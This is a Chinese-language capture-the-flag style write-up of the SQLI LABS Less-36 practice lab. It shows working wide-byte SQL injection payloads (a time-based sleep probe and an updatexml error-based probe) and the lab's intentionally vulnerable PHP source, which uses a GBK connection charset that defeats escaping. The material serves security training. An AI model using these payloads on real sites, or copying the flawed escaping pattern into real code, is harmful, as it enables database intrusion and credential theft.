SQLI LABS | Less-36 GET-Bypass mysql_real_escape_string
关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客
0x01:过关流程
输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):
http://localhost/sqli-labs/Less-36/
话不多说,直接对 ID 使用时间盲注字典进行爆破,看看有没有符合要求的模板:
如下,是一个使用时间盲注成功爆破出来的可用模板:
1%df'%20%26%26%20sleep(3)%23--%20%2f%2a
在测试中,我们发现目标会返回后端的报错信息。所以,我们可以对上面的 Payload 进行修改,改为报错注入的 Payload:
-- 使用报错注入获取目标后端当前正在使用的数据库信息
1%df'%20%26%26%20updatexml(1,concat(0x7e,database(),0x7e),1)%23--%20%2f%2a
可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-36 GET-Bypass mysql_real_escape_string 成功过关。
0x02:源码分析
下面是 SQLI LABS Less-36 GET-Bypass mysql_real_escape_string 后端的部分源码,以及笔者做的笔记:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
function check_quotes($con1, $string)
{
// 转义所有特殊字符以用于 SQL 查询
$string = mysqli_real_escape_string($con1, $string);
return $string;
}
// take the variables
if (isset($_GET['id'])) {
// 对用户传入的 id 进行了转义
$id = check_quotes($con1, $_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp = fopen('result.txt', 'a');
fwrite($fp, 'ID:' . $id . "\n");
fclose($fp);
// connectivity
// 但是由于设置的 MySQL 数据库连接字符集为 GBK,所以转义也没用,还是被宽字节绕过
mysqli_query($con1, "SET NAMES gbk");
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row) {
echo '<font color= "#00FF00">';
echo 'Your Login name:' . $row['username'];
echo "<br>";
echo 'Your Password:' . $row['password'];
echo "</font>";
} else {
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
} else {
echo "Please input the ID as parameter with numeric value";
}
?>